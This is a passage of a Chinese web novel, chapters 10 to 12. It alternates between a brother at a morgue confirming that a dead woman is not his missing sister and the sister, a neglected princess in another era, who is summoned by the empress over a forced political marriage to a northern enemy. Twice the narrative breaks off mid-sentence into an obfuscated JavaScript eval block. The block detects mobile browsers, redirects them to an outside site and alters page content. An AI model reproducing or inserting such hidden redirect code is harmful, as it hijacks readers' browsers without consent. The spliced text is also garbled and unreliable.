殡仪馆等闲都不会有人来,尤其这里还是尸检中心,走廊上有一种压得人心里发沉的安静,只有徐钦和徐子望低轻的交谈声。 徐钦刚给徐子望简单讲完方才里面的情况,这时候解剖室的门打开了。 孟书洲蹭一下站了起来。 法医在几人灼人的目光中摇了摇头,“死者上颌左右牙槽智齿均在,下颌左侧也在,右侧的倒没有了,这样推断的话,不是同一人。” 孟书渺无法形容那种感受,就仿佛周遭上一秒还压迫得他喘不过来的空气在法医说完这句话后骤然轻快了。 不是,不是他的妹妹…… 旁边的徐子望一把激动地一把扯住他表哥的胳膊,也没意识到自己使了多大的劲,喃喃道:“不是就好!不是就好!太好了……” 但从小严苛的家教又让他极快地反应过来他脱口而出的这些话似乎对里面解剖台上躺着的可怜女孩冒犯,于是又碎碎叨叨地对着解剖室门的方向不停点头鞠躬:“对不起对不起,无意冒犯,对不起……” 既然已经确定死者不是孟书渺,那后面就没孟书洲几人什么事了,小李警官就带着他们离开。 孟书洲走到走廊尽头,正要转弯出去,他停下脚步最后回头看了一眼身后的解剖室,然后对李警官说道:“警察同志我有个不情之请,如果……我是说如果最后最后这位小姐没能确认身份或者说没有可以为她安排身后事的家属,烦请你们到时候再联系我,我可以帮忙料理她的后事。” 小李警官一愣,随后点点头:“好,我们知道了。” 10.第 10 章 一行人走出殡仪馆的大门,夏季的七点太阳已经刺目,孟书洲直接在门口的台阶上坐了下来,此时的他下巴上冒出了一圈青胡渣,眼下青黑眼中布满红血丝,尽管身上那套西装还是从中东谈生意回来商务精英打扮,但莫名有一种熬过一个大劫的沧桑颓感。 经过这一夜疲劳奔波和煎熬惊吓,此刻暂时安定下来后孟书洲感觉到满嘴的苦涩味觉,他里外摸摸自己的衣兜裤兜,最后抬头问身边的人:“有烟吗?” 缓缓,他得好好缓缓! 徐钦将还剩一半烟的烟盒和打火机都递给他。 孟书洲抽出一根烟点然后迫不及待地狠狠吸了一大口,然后吞云吐雾起来,这时候谁也没有出声打扰他,安静地等着。 等吸完一根烟后孟书洲掐灭烟头丢进旁边的垃圾偷,然后抹了把脸站起身,谢过徐钦等人说以后找机会再好好做东道谢,现在他还有点别的事要去处理要先行离开。 徐钦和徐子望不知道孟书洲要去干什么,但也明白他现在心里肯定不好受,就没有多问,这一夜的疾行奔波,再加上刚才在尸检中心经历的那极度刺激神经的场景,他们也不着急回京打算先去找个地儿好好休息休息,于是和孟书洲分开了。 孟书洲独自一人打了辆车去了水城古镇,古镇里有个年代悠久的观音寺。 因为还不到上午十点,又是工作日,寺里的游人香客都不多,整个古寺都有种空灵幽远的宁静,寺里的钟磬声和梵音袅袅不散。 孟书洲找了寺里的工作人员捐了五十万的香油钱然后进了大殿,看着点香后香炉里丝丝缕缕的青烟。 点香敬神明,他直直地跪了下去,跪在蒲团上虔诚又郑重地俯身磕头,起身,再次拜下,虔诚磕头…… 不置苦难不问神佛,孟书洲从来都是顺风顺水的,他接受过这个时代最好的高等教育,可是他现在一闭上眼脑海里浮现的就是冰冷的解剖台上一具腐败恶臭的女尸。 这世上挣扎于苦难间的人太多了,众生万般苦,大概神佛也听得忙不过来,但求求了,他现在真的很急,求菩萨先让他在前面插个队吧! 求神佛保佑我的妹妹,保佑她平安无事,求菩萨让她平平安安地回家吧! 大雄宝殿上观音宝象庄严,微微敛目凝望众生万,悲悯慈祥,但笑不语…… *** “咳咳咳——” 细密的痒意在喉间蔓延,一连串抑制不住的咳嗽让孟书渺疲惫地睁开了双眼。 旁边榻上的巽娘忙放下手中的绣活从柴火炉上倒了杯温着的水坐到了孟书渺身边,将她扶了起来,轻抚她的后背替她顺气:“喝慢些莫呛着了,杏儿在煎药了。” 孟书渺捧着杯小口啜饮,努力平息因咳喘而急促的呼吸,她眼下有一圈淡淡的青黑,眼窝变得有些内扣,一向略显苍白的脸色又多了一层蜡黄。 这不争气的身体,除夕宫宴那晚回来后灌了几口冷风还是病倒了,已经连着低烧两日,咳嗽不断。 巽娘一直在顺抚她的后背,“待吃了汤药便再躺躺养养神儿罢,我瞧你昨儿夜里必是没歇好的,起夜时便听得呓语不断,跟小猫儿似的呢呜,可是魇着了?” 夜里孟书渺低烧着难受得翻来覆去实在睡不好,天蒙亮时才浅浅陷入几分睡眠,只是一直做着乱七八糟的梦,睡不大安稳。 她只依稀记得好似有熟悉的身影就站在她遥远又咫尺的对面,在喊她,喊她回去。 回哪里去她不知道,她想不起来。 只是梦境零碎,画面不断重叠交替,时而模糊时而清晰。 一转头,画面颠倒反转,似乎又有个男人模糊的身影明明灭灭,在唤她的名字,问她到底在哪里,像是在哭…… 醒后回想梦中的场景,似乎所有的梦境都仿佛弥了一层厚重的白雾,想不起来到底梦到了什么。 孟书渺手抚上左胸口,感受到心脏跳动咚咚的节奏,这个梦境给她一种无法用言语形容的奇异感觉,仿佛是一种不可言喻的牵绊召唤。 杏芽很快端了熬好的药进来,那浓郁苦涩的药味很快便充斥了整个小小的厢房。 孟书渺将黑褐色的药汁吹凉了些,面不改色地一口接一口喝着。 门帘被一把掀开,内外交换的气流让油灯上小小的火苗跳跃闪烁。 春山揣着袖手跟只灵活的猴儿似的顺着帘缝溜了进来,嘻嘻笑着从袖筒利掏出个手帕包,打开来摊在小案几上给大家展示:“来了来了来了!藜子、粟米、黄谷子……瞧瞧瞧瞧还有稻米!我打眼瞧着都是能吃的哩,皇后养的那只画眉极是爱吃这谷粮了。” 春山认识个同乡的小友,在珍禽司当差,他昨天去找那小友玩耍唠嗑,对方得知春山正在为缺粮而发愁时便提议可以试试珍禽司里鸟谷粮,只要给珍禽司里专管鸟食的管事一些孝敬钱,可以让她们拿些回去。 春山回来后把事一说,孟书渺和巽娘一合计,打点珍禽司管事的花销可比去膳房买人吃的粮食划算多了。 鸟吃得,人也吃得。 孟书渺手指拈了点谷子凑近闻了闻,能闻出来淡淡的谷香,没有陈腐味,她给春山比了个大拇指:“不错少年,干得漂亮!” 春山被夸开心了,“我先揣了点回来打量着让公主和姑姑瞧瞧好赖,公主说不错那定是好的。珍禽司管事说他能给我们最多匀上个十来斤出来,但要打点他这个数……” 说着春山伸出手指比了个数。 孟书渺心里便有数了,这个价比目前其他的渠道购买的粮都低,她点点头,“也成,等下小春你把银子拿去,今儿晚上咱就煮一锅浓稠些的杂粮粥换换口味。” 想到晚上能喝粘稠的新粥,春山就觉得浑身都充满了干劲,“好嘞!等那杨管事回来我便立刻去找他!我方才回来时杨管事正要说要听差去凤仪宫没得空。” 他一边说着一边踱步去柴火炉边上伸手烤火取暖,还没等手热乎也想到了什么,一脸神秘压低了声音凑了回去,“说起凤仪宫啊,眼下可是发生了一件大事,宫里传了遍,方才珍禽司不少人在说嘴,公主可知?” 这小子的嘴巴是属于一刻也闲不住型的,性子又活泼,头脑活络,路边的狗他都能唠上两句。 往常季长礼当值时偶尔来一趟会说些外头无足轻重的小事,很多关于西巷外的事都是春山这个打探八卦小能手带回来的,什么圣上本来是要去睡淑妃的结果却被贵妃半道截胡啦,这个宫张娘娘怀孕啦,那个宫王娘娘小产啦……虽都是些底层宫人之间的道听途说,但也是这个闭塞的牢笼处为数不多的外界消息来源。 孟书渺很是配合也凑过去压低声音:“哦~究竟发生了何事?” 春山:“荣王与北鞑使团一行不日便要入京,听说眼下已近京畿,礼部便提前了人去接洽迎接使团,这便提前传回来些消息,说是此次议和,鞑子所提其中一个条件便是要我朝公主和亲,且指明要皇后所出的嫡公主……” 说到这里,不光是孟书渺,连一直在忙自己事的杏芽和巽娘都停下手头的针线活看向春山。 春山见大家都在盯着他听他说话,顿时觉得这个消息算是带对了,说得更加卖力:“消息传到宫里,有认识凤仪宫里伺候的人说,六公主今日一早就在凤仪宫大哭大闹了一场。” 孙皇后育有一子一女,皇帝的女儿生了一箩筐,中宫嫡出之女唯行六的宝安公主一人。 至于和北鞑之间的家国恩怨,从先秦时起,中原与北方游牧民族之间就各种摩擦不断,到了前朝末年,乱世纷争,趁着中原王朝交替更迭之际,鞑靼汗王吞并统一了其周边各部族,效仿中原建立了一个北鞑王朝。 统一后的北鞑,实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232674|181355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力异常强悍野心勃勃,卫朝建立之初中原刚结束乱世,千疮百孔民生凋敝,加之卫朝廷重文轻武的基调方针,导致此后卫朝五代帝王竟无法与北鞑争锋对抗。 直至成国公府李氏接掌黑甲兵符镇守北疆,李氏在和北鞑的鏖战中横空杀出一个镇北将军李平言,他率领黑甲军驱鞑子、定北疆、收复失地、救中原被掳百姓,历经两朝,李平言的名头在北鞑人耳中如夜止孩啼的罗刹鬼,但他和黑甲军却在北地百姓心中却是点灯敬仰的神明。 孟书渺个人觉得这段历史简直就是她原时空西汉与匈奴的关系的翻版。 只是很可惜李平言做不成帝国双壁的卫霍,昌明帝也不是汉武大帝…… 不论在哪个时空,历史总有相似宿命,记载在史书上叫得上名号的武将似乎都没有好结局,功勋卓著的将领在封建王朝的统治者眼中不是英雄而是一根硬刺。 自古英雄如美人,不许人间见白头。 昌明二年,李平言率黑甲军五万精锐深入敌后剑锋直指北鞑王都,攻破北鞑王庭,斩杀并俘虏北鞑多位王子在内的一众贵族,北鞑王带残兵往西败退逃至大漠深处,李平言欲最后乘胜追击之时京都千里加急而来的钦差带着昌明帝一道一道亲笔御书,令李平言收兵退守北疆听候圣意,违逆者以叛将罪论处。 之后李平言又领兵在北疆守了两年,再后便是成国公府被揭谋逆满门抄斩,李氏一族败落覆灭,再无一个可上阵杀敌的男丁。 李平言就是孟书渺这具身体的外祖父。 成国公府覆灭后昌明帝令荣王去北疆接管统帅黑甲军,荣王是昌明帝一手扶持的,是整个朝堂众所周知皇帝最铁的心腹。 最初几年北鞑零散兵力入冬南下抢掠时荣王率黑甲军屡战屡胜,封有将军王威名。 但也就这样给了当年败逃的北鞑王喘息的机会,北鞑暗中重整旗鼓,不过几年复又大肆卷土来袭,势要一洗当年之耻。 从这里开始荣王就再无法延续他的不败战绩,两军在北疆打生打死近十年,中间也有过停战议和,但这十年下来,卫军颓势愈显,最近几年大战小战接连失败不敌北鞑。 而如今的北地家家白幡,关内满城只见老弱孤独。 最近的平沙关一战,卫军伤亡折损巨大,但一场多少年难遇的寒潮将北地及以北地区冰封,暴雪漫天,牛羊家畜甚至战马都被冻死,军民伤亡不计其数,凉州以北八座城都快空了,最后卫朝提出停战议和,北鞑答应了。 议和的消息半月前就在京中传开了,孟书渺她们在西巷都有所听闻。 “以往和亲挑的都是宫女和宗室女,这次北鞑直接他点名要嫡公主和亲,大有折辱我朝之意,那六公主的好日子算是要到头喽……”春山砸吧了一下嘴,明显带上了些幸灾乐祸的意味。 六公主的骄矜跋扈满京城出了名的,孟书渺也曾吃过她的苦头,甚至还差点死在她手上。 “可圣上会答应吗?毕竟宝安公主那般受宠。”杏芽在旁了句嘴。 孟书渺打开她画画的工具盒,拿出墨汁摊好纸准备开始画画,一边听着一边摇头道:“战败国有什么尊严,都要割地赔款丧权辱国了,一个和亲公主自然舍得,那老登……呃我那父皇,女儿再是嫡出尊贵再是受宠都没得他屁股下的龙椅重要,北鞑可不会跟他闹着玩笑。” 春山:“那皇后娘娘也是能应?” “北鞑要的是嫡公主,皇帝应了,朝廷应了,皇后如何能不应唉——” 孟书渺一边说着,旁边猝不及防被旁边伸过来的一只手一把握住她的右手由此打断了她的话,墨点散撒在泛黄粗造的纸上,墨迹立刻渗透,将纸面上原本欢快表情的线条小人黑墨污染。 孟书渺只觉这只覆在她手背上的手,掌心一片冰凉,她抬眼看去,巽娘嘴唇已失血色,眸中满是仓惶。 11.第 11 章 巽娘紧紧攥着孟书渺的手似是陷入了某种极度不安的情绪中,用一种晦涩难辨的目光深深地盯着孟书渺的五官一寸一寸地细看,像是要透过她的皮肉看清她的骨血。 这本能地令孟书渺后背浮起一阵骇然的麻意,手被死死抓握住,她吃痛忍着轻声问:“姑姑……” 巽娘忽地探身过来,两只手一起一把紧紧握住孟书渺那只手,呼吸逐渐急促:“岁安你且逃出去可好?逃出去,永远都不要再回京。” 还未等孟书渺开口,巽娘又忽然猛地松开手,匆匆下榻,像是在自言自语:“走!你今晚就走!我这便去收拾准备……不可等,万不可等,今夜务必逃出去!” 孟书渺愕然看着已经开始翻箱倒柜的巽娘忙也下了榻跟过去:“今晚就走?怎么逃出去?姑姑到底是发生了何事?” 她这些年来一只都想离开这个鬼地方没错,也在为此悄悄努力着,但宫墙森森,又岂是说走就能走的,她穿越到这里十年,迄今为止都还没有能成功逃离的契机和成算,别的先不提,光是每两个时辰轮换一次全天候不间断巡逻的内廷卫就能让她们喝一壶大的。 巽娘将积攒的所有银钱铜板全都哗啦啦翻来出来归拢在一处,各种衣裳物什被乱七八糟地扔在地上。 “姑姑……”孟书渺站在那里不知所措地看着整个人都像是陷入了一种焦躁癫狂状态的巽娘,心中的不安愈来愈浓,姑姑的一样似乎春山从珍禽司回来开始的。 春山方才说起了新买的粮……而后又说了北鞑提出嫡公主和亲的事…… 公主和亲。 一个念头霎时化成了一道惊雷在她脑海中轰然炸响,炸得她粉身碎骨。 孟书渺哆嗦着手去扯巽娘的衣角,说话都有些不利索,“姑、姑姑……是以为他们会叫我去替嫁和亲?” 巽娘闭了闭眼,没有回答,但意思很明显。 本就尚在病中,孟书渺只觉得此刻自己脑海中嗡鸣不止,气血逆行上头,眼前都开始一阵阵发黑,她强自镇定,试图用理智去分析:“不……或许未必……对,未必!北鞑特要皇后所出嫡公主和亲,意在羞辱卫朝,我这般失了生母无宠切孤身无依的公主在这宫中连那体面些的宫人都不如,我替嫁北鞑必不答应,可能还会因此生事再引纷争,而卫朝北疆如今已无力战事……北鞑不会同意,卫朝想必也不会同意……对不对?姑姑你说对不对?” 孟书渺说完紧紧拽住巽娘的衣袖满脸希冀等待对方点头赞同她的说法。 巽娘双眸浸满了悲凉,轻声说道:“会同意的。若换做其他任何一个公主或是宗室女,我尚不敢断定,但若是你,他们会同意的。” 这话让孟书渺骤然失了力气,其实她心中也已明了,在榻边跌坐下来。 一直困在西巷她倒也能勉强苟下去,但要是被送去北鞑和亲,那么等待她将是生不如死之后再真的去死。 如果把北鞑放在现代世界,就是内蒙以北、蒙古草原及更深入亚欧大陆内陆地带,它和西南夜郎之间的距离比卫京和夜郎之间的距离更加遥远,遥远到在这个时代她可能毕生都无法抵达。 想想满是风沙的草原上她除了用死亡做冒险试验外真的不知道又该怎么寻找回家的时空。 不!绝对不行!就算是死,她也不想在这个世界做一只不知来处不晓归路的孤魂野鬼! 她有家的。 她明明是有家的。 唯一的办法,就只有逃,在那些人还没反应过来暂时还没想到她身上来的时候赶紧逃出去不被找到。 她豁然起身,向被倒在桌上的那堆碎银走去,可走了几步她停下来脚步,茫然又无助的站在那里。 凭她们几个人的力量怎么逃得出去? “岁宁……” 孟书渺的脸被一双冰凉的手捧住,激得她神志清明,抬眼对上了巽娘闪着泪光的眸子。 巽娘眼神如潭,平静之下是触不到底的幽深,她的声音很轻:“岁宁不怕,我是决计要送你出去的,不怕!一定会出去的!” 孟书渺眼睛睁得大大的,心脏重跳一拍,一把握住巽娘的手,“姑姑你……你要做甚?不可胡来做傻事!” 此时室内静得可怕,杏芽和春山两个小的已经吓得在一旁不敢动了。 就在这时,屋外传来一阵喧哗响动,打破了西巷常年来的孤寂。 就听得门房蔡老太监那总像是喉咙里含了口老痰的嗓子,倒是头一回听他说话如此响亮有力,语气里带着谄媚逢迎:“……今儿一早小的打眼瞧着这大冷天怎的就有喜鹊儿在那枝儿叽喳叫,原竟盼得来了万公公,不知公公亲自前来是为何……这边您请,她们住在那处,小的这就给您带路,公公您这边请,哎呦喂公公可仔细脚下了……” 声音越来越近,屋里的几人当即有了反应,巽娘忙不迭把摊在桌上的银钱拢到一处又捧回了匣中,孟书渺和杏芽、春山也赶紧把扔了一地的衣物以及床榻桌案上的画稿都一股脑塞进了榻上的被褥底下。 刚做完这些门帘就被人粗暴地一把扯开了,涌进来五六个人,为首者身着暗赭色总管服制圆领袍,白面,无须,略肥。 这人甫一进屋,就像有脏东西入了眼,神情无比嫌弃,视线先在屋内上下左右逡巡一圈最后在孟书渺身上落定,抬手随意一挥,“皇后娘娘传召,烦请五公主随奴婢去凤仪宫走一遭。” 这白面太监孟书渺以前远远见过,是凤仪宫的掌事大太监。 他话落便有两个膀大腰圆的高壮内监出列上前,强硬地将孟书渺与巽娘她们三人隔开来。 孟书渺僵硬地站在那里,脑子里只有一个念头,完了。 太快了,来的太快了。 “五公主快些请罢,若误了娘娘的大事,可是担待不起!” 这大太监的嗓音高亢又尖利,刺得孟书渺耳膜生疼,站在她身后那两个高壮的内监立时就粗鲁地退了她一把,她一个趔趄朝前差点摔倒,被迫往屋外走去。 根本不给任何反应的机会,巽娘和杏芽、春山下意识想跟上前来,却被那万总管带来的人粗暴阻拦推回去,孟书渺被推搡着往外,仓皇间她只来得及回了个头,被推出门前最后一眼便是巽娘苍白无血色的脸。 *** 凤仪宫。 紫檀架上那栖鎏金凤凰宫灯,凤羽顶烛鸟喙嵌珠,烛火加上夜明珠温润的光泽,映照得偌大殿室暖黄明亮。殿里应是烧着了地龙火道,暖意如春,又有金狻猊兽香炉顶香雾丝缕,静谧之间沉香暗浮。 一道楠木金丝雕花的朱漆殿门仿佛将屋外那朔风凛凛的腊月寒冬仿佛隔绝成了两个世界。 孟书渺垂首跪在厚重的绒地衣上,边上两个膀大腰圆的嬷嬷正虎视眈眈。 四下一片静然。 她垂头视线随地毯一路延伸出去,满地都是缂丝盘金捻线织就的缠枝牡丹。再往前,轻盈透光的浮花暗纹绛纱帐用金帐钩撩开,往里就是凤仪宫寝殿的内配殿了。 内配殿被一扇象牙白玉雕山水画屏风遮挡,屏风左右两边各站着一个端庄谨肃像假人的女使,而屏风后面还是没有任何动静。 孟书渺已经记不清自己究竟在这里跪了多久了,说是皇后娘娘尚在小憩中,要她在此静候。 她借着袖子遮掩不着痕迹地揉了揉膝盖,即便地毯厚重,膝盖以下已经没有知觉了,她竭力控制着想要摇晃的身体。 屋子里不光烧了地龙,还摆了好几只炭盆,银丝炭烧红在静谧的殿中发出哔剥的声响,偌大的空间这般热意也委实过了,即便来时只一身单薄袄子,这会儿孟书渺还是赶紧后背起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233821|181355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一层热汗。 孟书渺看地毯上那一朵朵大牡丹重影越来越多了,耳中嗡鸣一阵盖过一阵。 干闷的燥热之火从四肢百骸汇聚在胸口处,不停地向上游蹿蔓延上她的大脑。 踏马的,踏马的,踏马的,踏马的! 她不想跪了,她真的不想再跪了!! 孟书渺呼吸急促,抬眼紧盯内殿的那扇屏风,咬牙想用已经失去知觉的双腿撑着站起来,她不管了,她要过去一脚踹翻那扇屏风! 吱昂—— 沉重的殿门从外被推开,凛冽却清爽的寒意立时形成气流贯入,激得孟书渺即将被燥意吞没的理智再度清晰起来,她微微晃了晃脑袋。 “公主万安。” 有宫人问安的声音,很快殿门被合上,寒气再度被隔绝在外,紧接着是外氅脱去时衣料摩擦发出的窸窣声。 然后便是一阵馥郁香气萦绕上来,孟书渺皱皱鼻子,一袭累珠叠纱金丝绣花边茜裙裙摆便映入了她低垂的眼帘,垂在身旁的手里还攥了一卷书册,孟书渺眼角余光不经意扫见,觉得莫名眼熟,偷偷斜一眼细看。 哦,那是她的《喜羊羊与灰太狼拍案惊奇》嘛! 华丽翩跹的裙摆围着孟书渺绕了一个圈,一只鞋头缀着珍珠的云锦缎绣履从裙摆底下伸出来,十分随意地在孟书渺的腰侧踢了踢,头顶也被卷成筒的书册敲了几下。 孟书渺闭了闭眼,指甲掐着掌心,继续跪着不动。 头顶少女一声轻慢的笑,声音娇如莺啼,自上而下像垃圾一样稀里哗啦倒入孟书渺耳中:“呵,往日倒不曾注意过,你这病痨鬼打眼细瞧着倒也颇有两分清秀姿色,病得久了,扭捏着惺惺作态去做那矫揉造作楚楚可怜之姿,亦能勾得人。” 说完她又补充一句,语气里是掩饰不住的幸灾乐祸:“北鞑那些个蛮子野蛮如未开化的牲兽,你这般弱柳扶风的,定是稀罕,想必是极欢喜的。” “北鞑”二字勾动了孟书渺的神经,倏地抬头看向六公主,一瞬不瞬地看着她。 六公主被这样一双漆黑幽深的眸子盯着,没由来有种要被吸魂摄魄的荒诞心滞感,反应过来顿时恼怒呵斥:“你这罪妇生的肮脏东西,谁允许你这般看本公主的?” 说着抬高了腿便要朝孟书渺胸口的位置狠狠踹来。 孟书渺听着那“北鞑”二字,那种被逼上绝路的恨让她破罐子破摔直接抬手反抗了,但因跪得浑身僵硬,反应到底还是慢了些,伸手一挥正好抓住了六公主踹过来的脚,却让这一脚就踹在了她胳膊上,于是她干脆顺势就朝后仰倒躺了下来。 而六公主没想到面前的人会有反抗,见人抓住自己的脚要往后倒去,她急忙使力把脚拔回来,却没站稳,猛地向后退了几步然后一屁股跌坐在地上,再定睛一看,鞋尖上那颗硕大的闪亮的珍珠已经不见了。 孟书渺手里攥着那颗被她薅下来的珠子,躺在地上浑身都放松下来,身下的地毯又厚又软,只感觉自己从痛苦中被释放陷入了云朵里,然后松了手,将珠子随手往边上一丢。 “啊!你这贱东西岂敢!”六公主大概是从没碰到过敢和她这么干的,气坏了,那悦耳的娇莺声变得尖锐。 她被旁边的嬷嬷从地上搀扶起来,指着孟书渺气急道:“果真是上不得台面的腌臜玩意儿,凤仪宫岂容你这般放肆,你们俩个,给我打!今日就替母后好好教教她规矩!” 两个嬷嬷对视一眼,朝内殿屏风的方向看了看,犹豫一瞬后低头应了声是,便朝孟书渺走了过来。 就在这时,屏风后传来一个威仪的女声,“好了宝安,都住手吧。” 孟书渺躺在那里,还不忘把跪折着的两条腿也伸直了,呈一个大字形。 心想,啊,挺好的,屏风后面的死人终于活过来了。 12.第 12 章 孙皇后的长相不算顶顶好,却是一副端庄大气、国泰民安的福相。 脸如银盘,天庭饱满,远山眉、悬胆鼻,一双杏眼优雅含笑,肤色白皙红润如雪中映桃粉,身段略丰腴。 身着一袭绯罗撒金绣彩凤宫装袖衫,因着刚休憩起身的缘故一头乌黑缎发只用一根凤簪闲适地挽了一个髻,款步从屏风后出来,气度雍容,使人见之便觉着一国之母便该是如此长相,应是四十龄,观之却也不过三十许。 “母后!” 六公主一见着孙皇后出来,便换了一副撒娇的小儿女姿态,跺了跺脚乳燕般轻巧快步过去投入了孙皇后的怀抱,声音娇憨告状道:“母后您瞧,她抓我鞋履,害我跌跤,鞋子都被抓坏了,居然敢在凤仪宫里耍起了横,莫不是真拿自己当公主看了?” 作为亲女,六公主其实与孙皇后长得并不像,她更肖父,甚至可以说皇帝那么多子女中长得最像皇帝的了。 孙皇后宠溺地轻拍一下六公主的头,又摸摸她的手:“偏生外头胡闹一遭,浑身的寒气,且先盥汤温湿了手,别过了凉干燥皲裂才是。” 孙皇后说着,便有宫人自觉端上来两个盆。 六公主噘噘嘴,挽起袖子将双手浸入第一个盆中,面上带起了嫌腻:“这乳膻味当真是难闻得紧!如今花房的那起子奴才这差当得是越发糊弄了事,送来的这些花瓣俱是些打蔫儿的,颜色不正,花香气儿越发淡了,牛乳的腥膻味是越发盖不住了。” 说着,她嫩葱搬的手指轻轻一撩,水声带起几片花瓣捻在指尖,似是撒娇抱怨道:“每每盥洗这味儿总是散不去,我便不乐意,母后却总偏爱用这牛乳催我洗漱……” 孙皇后看着自己的女儿满目慈爱,“好了,如今天寒干冷,再不好生养护,仔细糙了肌肤,知你不喜,这不还备了清水梳洗。江南新贡的玉兰膏已到,梳洗完后抹上玉兰膏便能散了膻味,至于花房那头,倒也不必太过苛责,时冬这天儿确实冷过往年,暖房的花也更不好养活,改明儿着人多拨些例炭过去便是,炭火旺了,花儿便开好了,想起自然也能馥郁更甚。” 彼时孟书渺已经被那俩嬷嬷从地上拎了起来,这些对话清晰的进了她的耳朵。 听得春山曾提过,后宫之中都言贵妃受宠骄矜,皇后却最是温贤良德,统领后宫,体恤宫人,很是受人尊崇。 俩孔武有力的嬷嬷一左一右扣着她的臂膀将她强硬地摁着又跪回了原地,身体前倾,被迫抬起头,正好看到六公主指尖残留的牛乳液一滴滴落。 这是……牛奶啊。 大抵是跪得实在太久了,让孟书渺麻木的思绪都开始有些不受控制地涣散,她迷迷瞪瞪得想着,牛奶呀,她很久以前好像经常喝的,久得像是上辈子的事了……哦,确实是上辈子的事了。 妈妈一直是牛奶的忠实拥趸,认为牛奶营养价值高利于孩童成长发育,要求她和哥哥从小每天都喝一杯牛奶,小学的时候有段时间班里流行喝色素汽水,她就觉得喝牛奶很“老土”,把牛奶带到学校后偷偷倒在班级窗外的一颗树下,浇得树下的那块土都开始泛白,然后被老师发现同学出卖后告知了家长,她妈把她带去了一个可参观生态牧场,透过观光玻璃,让她对着里面被架在机器上挤奶的奶牛说了一百声“奶牛对不起”。 当时她那正在变声期的哥哥在旁边笑得像唐老鸭。 后来慢慢长大了,她习惯了每天一杯牛奶,不知道是不是牛奶的功劳,她兄妹俩从小就壮得跟小牛犊似的小毛病都少有,上了大学,自己一个人北上念书,每每和家里通讯,妈妈结尾必定要带一句“记得喝牛奶”。 但那真的是很久很久以前了,后来她再也喝不到牛奶了,也再没有一个不厌其烦叮嘱她喝牛奶的妈妈了…… 臂膀忽然被人扣着重重往下摁,想要撕断她的手臂,疼痛令孟书渺骤然回神,金线绣凤裙摆映入了孟书渺的眼底。 她的苦和难来了。 皇后伸出莹润白皙的玉指,涂着玫红丹蔻的精致长甲,轻挑起她的下巴,居高临下细细审视她的脸。 不知这样看了多久,孟书渺臂膀被反着朝后死死扣着,身体往下压,头又被迫抬着,整个人都快抽筋了,才听见孙皇后嗤地轻笑出声,然后松开了她,尖利的指甲划过,在左脸颊留下一道清晰的红痕。 “听说,你唤岁宁,是你母亲在时给你起的名?”孙皇后漫不经心地问了一句。 孟书渺听得出她语气中夹杂的嘲讽意味,知道这位皇后娘娘肯定没憋什么好屁,都到现在这样演都不演的地步了就懒得和她浪费口舌,于是就没有开口说话。 孙皇后似是心情颇佳,并不计较这些,只垂眸看她,颇为感慨道:“岁宁岁宁,岁岁安宁,寓意倒是极好的,你母亲也是用心良苦了,只可惜……” 她停顿一瞬,语气莫名:“只可惜啊,你却是个福薄的,承不起这般寓意厚重的好名讳。”说着抬袖一挥,示意嬷嬷退下,而后闲庭信步般打量着孟书渺踱步绕了两圈。 孟书渺用眼角余光跟着转,时刻准备着,心想和六公主不愧是母女,都爱围着人打圈圈,姿态神情都一样,这当妈的要是也踹她,她绝对还是要拽她腿薅她鞋的! 然而孙皇后毕竟是块老姜,她只是绕着孟书渺踱步两圈,并没有其他过分的举动,微微欠身歪头看着她,“这么多年,本宫倒从不曾好好瞧过你,今日打眼细瞧,你这副叫人厌烦的故人之貌确有十之六七似你母亲,那你可知你母亲又生得像谁?” 孟书渺隐隐能猜到孙皇后说这些的用意,闭了闭眼,还是没有开口。 孙皇后并不在意她的沉默,看着孟书渺孱弱病白的脸嘴角扬起了莫名的弧度,自问自答道:“像你外祖父——威名赫赫的镇北将军李平言呐!” 孙皇后:“本宫年幼时曾听家中长辈提过,当年鲜衣怒马的少将军,一杆五虎银枪,玄甲汗马,弱冠之年镇北定疆,雄姿英发,不知是多少春闺少女的意中少年郎,李平言三子一女,其女样貌最为肖父。” 说着她忽然话锋一转,嘴角扬起的那抹弧度带着诡异和戏谑,“月沙丘一战,李平言将北鞑王庭杀得几乎只剩一个溃逃大漠的北鞑王,呵!但谁又能想到世事无常,经年之后,那个名震北地的常胜将军却因谋逆早已枯骨成灰,而北鞑王还是原来那个北鞑王,重整旗鼓,还老当益壮能来迎和亲公主,你外祖父与北鞑王也算是故人了,若要你去和亲,也是你的福气。” 孟书渺知道孙皇后这话意思,此刻心中怒火和躁意翻涌,终于忍不住开口刺她:“听此话你与北鞑王倒是一条心,很是欣慰北鞑战胜要我朝公主前去和亲,若是让文武百官和天下百姓听到此话是从我大卫母仪天下的皇后娘娘口中所出,不知他们又会作何感想?福气?这福气给你要不要啊?” 最后一句脱口而出,就像终于纾了一口郁气,孟书渺不禁心中暗叹,自己可是是十级甄学家,她穿越前的电子榨菜终于让她在宫斗中用上了一回——如果。 孙皇后没想到这病歪歪的丫头片子居然敢这样回嘴,看着这双清泠泠的眼睛,像极了她的那个母亲。 孙皇后面容狰狞了一瞬,冷笑一声,她伸出手,从下巴处为准心尖利的长甲狠狠掐住了孟书渺的脸,“好个牙尖嘴利的臭丫头!” 孙皇后蓦地弯腰,将脸贴近孟书渺,双 